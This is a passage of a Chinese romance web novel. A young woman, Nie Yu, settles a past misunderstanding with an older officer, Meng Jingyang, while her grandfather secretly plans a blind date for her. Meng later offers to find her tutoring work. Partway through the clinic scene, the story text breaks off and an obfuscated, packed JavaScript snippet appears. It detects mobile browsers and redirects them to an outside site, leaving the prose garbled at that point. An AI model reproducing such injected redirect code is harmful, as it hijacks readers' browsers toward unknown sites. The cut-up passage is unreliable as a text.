“没有,我是说我自己,我自己过不了自己这关!”聂宇解释着,都有些发急了。她觉得自己说的够清楚了,从头到尾这所有的一切都源于她自己,跟孟京阳其实没有太大关系。她现在在做的,不过也是拯救自己罢了。 孟京阳仿佛是终于听懂了,他笑一笑,说:“好了,我明白了。” 他深深地凝视着聂宇,说:“那晚的事,对我来说确实是个意外,但过后我并没有往心里去。对于你的一时冲动,我后来也有所了解,能够体谅。但是聂宇——”他停了一停,仿佛在斟酌用词,“以后再有这样的情况,不要轻易选择出卖你自己,你不是随时都能有那晚的运气。” “我知道。”聂宇垂下头。有句话她不太好意思说,那就是在冷静下来之后,她也时常感激那一晚面对的人是孟京阳。 “还有就是——” 四个字,让聂宇再度提起了心,她抬眸,对上孟京阳的视线。 “我刚才那句,确实没有暗指什么。这一点,也希望你不要误会。”孟京阳瞅她,“既然是算账,那什么都要说清是不是?我不误会你,你也不要误会我。” “……嗯。”聂宇看着他,终于露出一个笑。 - 往后回家的路上,孟京阳和聂宇的话都少了。 聂宇是因为说完了该说的,再加上忙了一晚上,整个人都身心俱疲。而孟京阳,则是在回味整件事。 意外见到一位熟人的缘故,在比赛结束后,孟京阳迟了片刻才回到车边,正巧就撞上了聂宇被男同学示好的一幕。当时看着她手足有些无措,整个人都十分尴尬的样子,他没有想太多,就走过去帮她解围。 在他眼中,聂宇是同侄女天音一样的小辈,但又不完全是小辈。在照山那模糊了年纪的半个多月里,他亲眼目睹了她所有的鲜活、灵动、自然和明媚,有些时候并不能拒绝把她当做一个女人看待。尤其是,当她竭力表现的像个大人的时候。 但也只是如此了,孟京阳想,他不会也不应该再有更多的感触。可为什么,当厘清了两人之间所有的“误会”之后,他隐隐有一种怅然感,仿佛冥冥之中有一根连接着他和她的线,忽然彻底断掉了? 所幸,孟天音对车上的氛围暂无察觉,她絮絮叨叨地抱怨了团委书记一路,另外两人就一边听着,一边附和着,安全抵达了院里。 孟京阳自然是先送聂宇,女孩儿下车之后,难掩倦容地向他们道别。 “快点回去休息吧,这次你帮了我大忙,改天请你吃饭。”孟天音笑着对她说。 “吃饭可以,但用不着请了,咱俩谁跟谁。” 聂宇笑着说,然后将目光转向孟京阳,略收敛了几分。 “今晚也多谢您了小孟叔叔,辛苦您来回接送我们。” 这话说的诚心实意,孟京阳看着她这么快就能摆脱过去的影响,认准自己的定位,毫无波澜地称呼他一声“小孟叔叔”,心里倒挺佩服。 他略点了下头,没说什么。聂宇也没期待他有更多反应,便向孟天音挥了挥手,跑开了。 “小叔,走吧?” 几秒后,孟天音的声音自后排响起,孟京阳这才意识到自己在这儿莫名耽搁了一会儿,立时踩下油门,向家驶去。 - 进了家门,孟静东和妻子于恬都还没睡,见到女儿回来,忙问起比赛的情况。 到了父母面前,孟天音自然是极尽能事地吹嘘,把个二等奖吹的天上有地下无的。孟静东一边笑着给女儿捧场,一边打量着坐在对面沙发里的孟京阳,只觉得他看上去懒懒的,仿佛是累了。 “今天事出突然,也是辛苦你了。” 打发了女儿上楼去洗漱,又哄着妻子回房休息,孟静东给孟京阳倒了杯水,低声说。 “说这话。”孟京阳瞥他一眼,又道,“偶尔去大学校园熏陶一下也不错,感觉人都要年轻几岁。” “是这样?”孟静东拔高尾音,做出一副不信的样子,“那怎么瞧着你意兴阑珊的,不像是二十出头的样子啊。” “……”孟京阳对他哥这冷笑话也是服气,坐直了喝一口水,他说,“兴许是跟人算旧账累的。” “???” 这下孟静东是真不理解了,但孟京阳无意过多解释,将面前的一杯水饮尽,他拿起钥匙站起身就要走。 “明早还有个会,我今晚不在家住了,从我那儿去单位方便。” “你、你等会儿。”孟静东忙拦下他,“还有正事儿没说呢,你再给我十分钟。” 孟京阳面有狐疑,但还是坐下了。 “是这样。”孟静东搓了搓手,说,“就还是上回跟你提的那件事嘛,知道你肯定不会上心,就让你嫂子去帮着办了。她这些天也从单位或者亲朋好友那里搜罗了不少,拿回来好些张照片,我现在拿给你瞅瞅,你看看有没有可心的,抽时间去见一见?” “……”孟京阳伪作不悦,“你就为了这事儿耽搁我晚上睡觉?” “什么叫‘这事儿’,这事儿是小事儿吗?”孟静东板起脸来,“回来的路上遇见蒋云鹏,听他说蒋老爷子都要给他家孙女辈儿找对象了,你这个马上三十的人还没有着落,这像话?” “蒋老爷子的孙女?”孟京阳眉头微蹙,“蒋晓先?” “不是晓先就是聂宇。” 这些时日聂宇常来孟家,孟静东也算认识了她。但他想了想,又说,“不过瞧蒋云鹏不太上心的样子,这人怕是聂宇的可能性大一些。终究不是自家女儿,也懒得操那么多心。” “……”没再理会亲哥的唠叨,孟京阳陷入了沉思。 -19- 关于蒋铸要给聂宇安排相亲这件事,消息确实属实。但这并非蒋铸有意出尔反尔,而是事情来得太过凑巧。 因为聂宇的犟脾气,蒋铸原是歇了这份心思,只耐心等一年后。没成想那日儿子蒋云鹏下班回家时带回来一个消息,说是原燕城军区首长周继坤想解决自家儿子的个人问题,私下里正在动员别人介绍对象。 关于周继坤的儿子周明明,无论是蒋铸还是蒋云鹏都有所耳闻,前些年实在是闹得不像话,据说还涉及自家的小婶儿。但又听说这孩子近两年在陇城的快反部队表现得还不错,大有洗心革面重新做人的架势。若非如此,周家也不会着急忙慌地开始筹谋他的婚事,因为孩子实在是到岁数了,他自己不急,也唯有长辈操心了。 蒋铸一听说是周明明,心下多有不快。但听了儿子后续的描补,又觉得勉强可以考虑。是人都有年少轻狂的时候,只要肯浪子回头一心悔过,那还是要给人机会的。尤其是蒋铸听到周明明在部队屡立战功,连那位被他得罪得不轻的小叔也对他多有赞赏,顿时觉得这孩子是个可塑之才。能与这样一个知耻而后勇的人结成伴侣,对外孙女来说或许也是一个不错的选择。 心中拿定主意,蒋铸面上仍是一副踟蹰模样:“这小子到底行不行,他以前干的那些事可太叫人印象深刻了。” “嗨,您这都是哪一年的老黄历了,去年陇城军区大比武通信专业第一名就是这小子带队拿下的,要是没点定力和本事他能做到吗?是、以前是混了点,但后来不是痛改前非了吗?要不是有这样的决心这婚姻大事也耽搁不到现在了。” “那配小宇,能行?” 蒋铸难得有些拿不定主意,不是不放心周明明,而是不想在外孙女面前做个食言的人。 “爸,我明白您的意思。但现在是机会难得,周明明回来休假了,一个月后又要返回陇城,您不趁现在让两个孩子赶紧接触接触,等人走了可真是错过这个村就没这个店了!”蒋云鹏在父亲面前坐定,摘下帽子继续道,“而且又不是让他们看对眼了立马就结婚,可以先聊着谈着嘛,合适的话等明年小宇高考完再办婚礼。” “你说的有点儿道理,但小宇未必会答应,这事儿肯定会分她备考的心。” “她是小辈儿,她懂什么呀?您是她亲姥爷,我是她亲舅舅,能害她么?再说她高考为了什么呀,不就是想出人头地?可出人头地只有这一个法子吗?找个有本事的人嫁了,以后还愁没有扬眉吐气的时候?女人嘛,日子过轻松一点不好吗?小宇现在是年龄小,还没把这些道理想明白。等她明白的时候,知道有这个好机会让您给错过了,说不定还要怪您呢。” 蒋云鹏一副振振有词的腔调,听的蒋铸彻底动摇了。在他看来,女孩儿确实还是要以婚姻为重,至于学业和事业,那是锦上添花可有可无。原先他是顾忌破了自己一言九鼎的规矩,现在听了儿子的话,他觉得很有几分道理。聂宇她再有主见,终究是个孩子,如果有更轻松的路可以走,她说不定也会改变主意。 “那你先跟周家那边通个气吧,确定那边有意见面,我再告诉小宇。在此之前,谁也不要去她面前胡说。”一顿,斜儿子一眼,“尤其是你,在你老婆面前管好你的嘴。” “知道。”蒋云鹏悻悻道。 - 聂宇果真对此事一无所知,一是老爷子的刻意隐瞒,二是她现下另有心事。 随着旬城那边买定房子开始改造,有一件事再也忽略不得了,那就是钱。虽说大爸大妈有言在先会承担全部的费用,但以奶奶谢静芳的为人,为求尽善尽美定然还是少不了自掏腰包,如此以来,她们祖孙俩的财政就有些吃紧。 由于在燕城的吃住都有人负责,聂宇来到这里以后的花销并不大,哪怕不要那五千块钱也能顺利顾住自己。可现在她不光想节流了,她还想开源,也就是去外面赚钱,好贴补家里。 可赚钱这事儿又不能耽搁她日常的复习,所以那些全职工作就被她排除在外,只能见缝插针地找一些兼职。这样一来,选择就不够多了,聂宇考虑来考虑去,决定去当家教。 虽说今年高考落了榜,但聂宇的成绩却是实打实的优秀,除英语稍微差一些外,其余科目正常发挥都是能拿高分的水平。所以若说去当家教,聂宇还是有实力的,差就差在没有文凭上。而燕城又是个大学遍地的地方,其中顶尖高校连一只手都数不过来,她跟这些人比起来是当真没有优势。逢着这种情况,只能甘拜下风。 聂宇利用两个周日下午的休息时间,跑了附近好几个学生扎堆的社区,摆出了自己的小摊。倒是有人来问,但一听她没有文凭,甚至连个大学生也不是,就都没有下文了。聂宇碰了一鼻子灰,再加之在外奔波喝了一肚子凉风,当晚回去就有些胃疼。吃了止疼药不管用,她只好去院里的卫生所打吊瓶。 周末的夜晚,卫生所里异常安静,只有一个值班护士和医生在。聂宇坐在输液室里吊着针,看着头顶一闪一闪的白炽灯,心情有些沉重。她现在也不确定自己有没有出去当家教的必要了,耽搁珍贵的休息时间不说,怕是也赚不到几个钱。可她又控制不住地想给家里出份力,想替奶奶分担一些,所以这个念头一起,是怎么摁也摁不住了。聂宇最终决定再给自己一次机会,下周日休息的时候再出去跑跑看,如果实在不行就算了。等到她上了大学,她再去考虑赚钱的事。 忽而,有脚步声从诊室外的走廊里传来。聂宇微闭上眼睛,听着那颇富节奏和韵律的哒哒声,整个人都平静了下来。很快,有说话声传来,应该是那位值班护士和来人对话,一男一女,一低一轻,皆是十分悦耳。聂宇听着几乎都快睡着了,直到“嘎吱”一声响,输液室的门从外面被推开。 聂宇以为是护士来观察她的输液情况的,依旧合着眼。察觉到进来的脚步声有些陌生,她倏地睁开双眸,看向来人。只见,在距离她两步之遥的地方,站立着一个高个穿军装男人,他正垂眸审视着她,手里拿着一包药。 是孟京阳。 看清来人之后,聂宇有些吃惊,但顾忌着手背上还扎的有针,她没有大动。 “孟…孟叔叔。” 对着那身军装,她实在是叫不出来“先生”这样的字眼。但“孟叔叔”这三个字,听上去又有些古怪。不如加一个“小”字,能淡化那种差了辈分的隔膜。 孟京阳现如今对她喊自己什么都不觉得奇怪了,他抬眸瞧了瞧她挂的药瓶外的标签,用轻淡的口吻问她:“生病了?” “嗯……”聂宇想他这不是明知故问么,“胃不舒服,又有些低烧。” “怎么一个人在这儿输液,家里没人来陪你?” 孟京阳不提聂宇还不觉得,一说就觉得自己孤零零地来吊针确实是有些可怜。 “也没多远,就在院里,不用人陪。”聂宇嗓音有些沙哑地说,目光从他拿的药包上划过,又问,“您也不舒服?” “替老爷子拿的。”孟京阳又留意了下她正在输的液,然后看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367639|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她丢下一句,“我走了,你先输着。” 聂宇迟了会儿才“唔”一声,看着他卷着风离去,犹有些反应不过来。说实话,这次见面结束地有些仓促和草率。但似乎这样才是正确的,是应该属于他们的交集。在清算完过往之后,他们之间也只剩下这点交情了。 聂宇抬头看着药液一点点滴入输液管,有些出神。大概一刻钟后,门又从外面推开了,她木然地转过头去,再一次看到了孟京阳。这一次,聂宇有些傻眼。 孟京阳倒格外从容。 “没想到我会回来?以为我就那样走了?” 他在她身边落座,还将她用来搭腿的那件棉衣外套的袖子拎了起来,免得落到地上沾灰。 聂宇犹在发怔,她想不出来他去而复返的理由。 “路过你家的时候我进去问候了下,得知你姥爷和舅舅都不在家。而你舅妈又在家里照看你小外甥,不方便出来,所以我就再来看看你。毕竟承你一句‘叔叔’,这个长辈得当的有点样子,你说是不是?” 他说的不要太轻描淡写,但这个理由在聂宇这里完全不过关。她叫过的叔叔多了,可没有一个像他这样赶过来充长辈的! “孟——” 话刚出口,又顿住了。她现在已经不确定还要不要称呼他“叔叔”了! “不必麻烦了……”聂宇低声说。 “不麻烦。”孟京阳截住她的话头,“我在这儿略坐一坐,等接我的车来了,就走。” 聂宇:“……” -20- 聂宇觉得自己看不透孟京阳了,也更看不透自己。 刚才他就那样走了,她心里觉得空落。现如今他又回来,她仍觉得别扭。仿佛做题时遇到了一道难解的题,想破头皮也毫无头绪。 聂宇不禁有些生气,却也不知道是在气什么。 一旁的孟京阳对她此刻的情绪变化暂无察觉,因为他现在的心思在别的事上。 自那天听大哥孟静东提及蒋铸为外孙女安排相亲一事,他就将其放在了心上。原因也简单,早在照山的时候,他就已经设法探知这对祖孙的博弈,知晓聂宇豁出去来敲他门的缘由是不愿意拿自己的婚姻大事做交易。现如今旧事重提,以聂宇的性子,他真不知她会做出什么事来。 当然,这件事说到底跟他无关,更别提他们早已算清旧账。但是孟京阳思来想去,也无法装作不知情。究其缘由,大概是他对这个姑娘有那么些欣赏,所以不想再看她干出伤敌一千自损八百的事来。 不错,是欣赏,这是孟京阳最后为自己的那点怅然找到的答案。最初在照山见到的聂宇,是敞亮灵动,神采飞扬的。即便是不掺杂任何男女之情,她也足以吸引许多人的目光,包括他。所以孟京阳很欣然地接受了这个答案,不再庸人自扰。 “聂宇——” 在短暂的静默之后,孟京阳唤出聂宇的名字。这让正在发呆的她不自觉地抖了下肩膀,然后缓缓向他看过去。 孟京阳没有看她,目光投向别处,仿佛是在闲聊一般丢出一个问题:“自你来燕城后,你姥爷有再同你提过相亲的事么?” “……”聂宇肩膀又抖了下,不明白他怎么突然又提起这一茬,不是说好翻篇了吗? “你——” 聂宇想要控诉他,胃里一抽搐,话头顿时被卡住。 孟京阳这才意识到她的异样,他伸手欲扶她,被聂宇无声拒绝。就这样缓了片刻,那股痛意消散,聂宇靠坐了回去。只是经过这一番折腾,她已有些有气无力。 “不舒服了?”孟京阳微皱着眉头观察她的神色,“我去帮你叫下护士。” “不用。”聂宇声音低弱地说,“这不是在打着药么,一会儿就好了。” 孟京阳没听她的,还是叫来了人,确定没什么问题,才作罢。 聂宇全程没怎么说话,利用这个缓冲恢复了些气力。待诊室的大门又被关上后,她脸色苍白地问孟京阳:“你——是反悔了吗?” 这是连“您”也不用了。 孟京阳没太明白:“我反悔什么?” “不然,你又提相亲这件事!”聂宇都有些生气了,双眼冒着愤怒的小火苗。“相亲”这两个字实在是她的禁区,尤其是经面前这个人提及。 孟京阳终于了然,继而微哂。 “所以我不能在你面前提这两个字了,是不是?”他对上她的视线,那双眼因为怒意燃烧而异常明亮。 “不可以。”聂宇坚决道,却因为身体虚弱没什么气势,“提到它我就会想起在你面前做过的蠢事。” 聂宇觉得自己真是太轻信孟京阳了,还跟他掏心掏肺。结果呢,人家转头就拿她最在意的那件事来刺激她。或许,他跟她在干休所见到的那些纨绔子弟根本就没什么不同,就喜欢拿那些前赴后继扑向他们的年轻姑娘当谈资,跟一群人坐在一起喝酒聊天的时候拿她们当下酒菜。若真是这样,那他可就大错特错了,她不是这样的人。 聂宇犹在心里气愤着,孟京阳见状,却是稍稍放下了担忧。看来蒋老爷子还没跟她提相亲的事儿,大概是还没拿定主意,亦或者根本就是蒋云鹏随口一提。总之,目前还无事发生。 “好吧,我的错,你消消气。”孟京阳收回思绪,出言安抚她,“我不提这件事了,但之前跟你说的话,你最好也能记住。” “……”聂宇没吭声。她想,她还用不着他来教育。 - 两人之间消停了片刻。孟京阳展开了一张报纸在看,聂宇在旁平复着情绪,不经意地也将目光落在了报纸上。这一落,可不要紧,报纸上竟然有招聘消息。 其实这是报纸上很常见的板块,只是她从前不曾留意过罢了。聂宇凭借着自己绝佳的视力在一旁偷偷浏览着,看有没有适合自己的兼职工作。由于看的太过沉迷,以至于孟京阳都无法忽略她了。他看了她一眼,顺着她的视线重新回到报纸上,确认了她在看什么之后,他出其不意地问:“你想找工作?” “没有。”聂宇下意识否认,但眼中的惊慌和讶异却做不得假。她就差把“你怎么知道”五个大字写在脸上了。 孟京阳依旧瞅着她不错眼珠,仿佛是想看她能编出来什么谎话。聂宇没辙,稍稍移开了视线,是回避,也是默认。 “缺钱?”他打听着缘由,心里觉得不大可能。蒋老爷子既然把人接来了,就没有不善待的道理。 “不缺。”聂宇说,“但谁又会嫌钱多呢,有机会就赚一点。” “那你想做什么?”他问,“是不是已经尝试过了?” 聂宇简直佩服他的眼力。 “我可以告诉你,但请你别告诉我家里。”一顿,她老实交代道,“我想当家教,正在找看有没有合适的学生。” 孟京阳对此毫不意外,像她这种情况的学生,做家教往往是第一选择。不过也因为此,竞争非常激烈,她找不到也正常。 孟京阳自问,他是否能帮到她。 “你擅长什么科目?”他将报纸叠起,开始认真地跟她谈这件事。 “都可以。一般补数理化的多一些,这三门我都没问题。英语、英语我可以附赠,因为我这一科差一些,我们可以互相学习。”聂宇微抿唇,觉得有些干。 “数理化——”孟京阳沉吟片刻,说,“数学和英语如何?小学生。” “小学生?”聂宇有些意外,她原本是打算找高中生的。这样在上课之余,她也可以见缝插针地补习知识点。 孟京阳失笑:“你倒是挺敢想,高中生去教高中生。”一顿,“如果是小学生的话,我可以多找几个人一起来上课,这样你可以打一份工赚几份钱。” 性价比这么高吗?聂宇有些动摇。 “确定可以吗?”她满含希冀地问,这会儿态度倒是好了很多。 孟京阳没有立刻应下,毕竟这也是一件严肃的事。 “你等我消息。”他说。